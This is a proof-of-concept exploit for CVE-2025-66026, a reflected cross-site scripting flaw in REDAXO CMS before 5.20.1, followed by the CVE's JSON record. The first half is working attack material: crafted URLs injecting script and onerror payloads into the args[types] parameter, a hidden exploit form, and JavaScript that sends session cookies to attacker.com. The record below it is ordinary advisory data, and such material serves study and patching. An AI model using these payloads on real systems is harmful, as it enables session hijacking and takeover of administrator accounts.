CVE-2025-66026

<!-- CVE-2025-66026 PoC - REDAXO CMS Mediapool Reflected XSS --> <!-- Target: REDAXO CMS < 5.20.1 --> <!-- Attack Vector: args[types] parameter in Mediapool view --> <!-- Malicious URL PoC --> <!-- https://[TARGET_URL]/redaxo/index.php?page=mediapool/media&args[types]=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E --> <!-- Alternative PoC with event handler (bypasses some filters) --> <!-- https://[TARGET_URL]/redaxo/index.php?page=mediapool/media&args[types]=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E --> <!-- HTML Form for exploitation --> <form action="https://[TARGET_URL]/redaxo/index.php" method="GET"> <input type="hidden" name="page" value="mediapool/media"> <input type="hidden" name="args[types]" value='"><script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'> <input type="submit" value="Click to exploit"> </form> <!-- JavaScript payload for session hijacking --> <script> // Steal session cookies var cookies = document.cookie; fetch('https://attacker.com/log?data=' + encodeURIComponent(cookies)); // Or perform actions as the logged-in user // fetch('https://[TARGET_URL]/redaxo/index.php?page=users/users&func=add', {credentials: 'include'}); </script>

{"cve": {"id": "CVE-2025-66026", "sourceIdentifier": "[email protected]", "published": "2025-11-26T03:15:58.440", "lastModified": "2025-12-03T15:36:41.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "REDAXO is a PHP-based CMS. Prior to version 5.20.1, a reflected Cross-Site Scripting (XSS) vulnerability exists in the Mediapool view where the request parameter args[types] is rendered into an info banner without HTML-escaping. This allows arbitrary JavaScript execution in the backend context when an authenticated user visits a crafted link while logged in. This issue has been patched in version 5.20.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redaxo:redaxo:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.20.1", "matchCriteriaId": "9937DEF0-5450-4350-ADC0-95D0CC89958B"}]}]}], "references": [{"url": "https://github.com/redaxo/redaxo/commit/58929062312cf03e344ab04067a365e6b6ee66aa", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/redaxo/redaxo/security/advisories/GHSA-x6vr-q3vf-vqgq", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/redaxo/redaxo/security/advisories/GHSA-x6vr-q3vf-vqgq", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}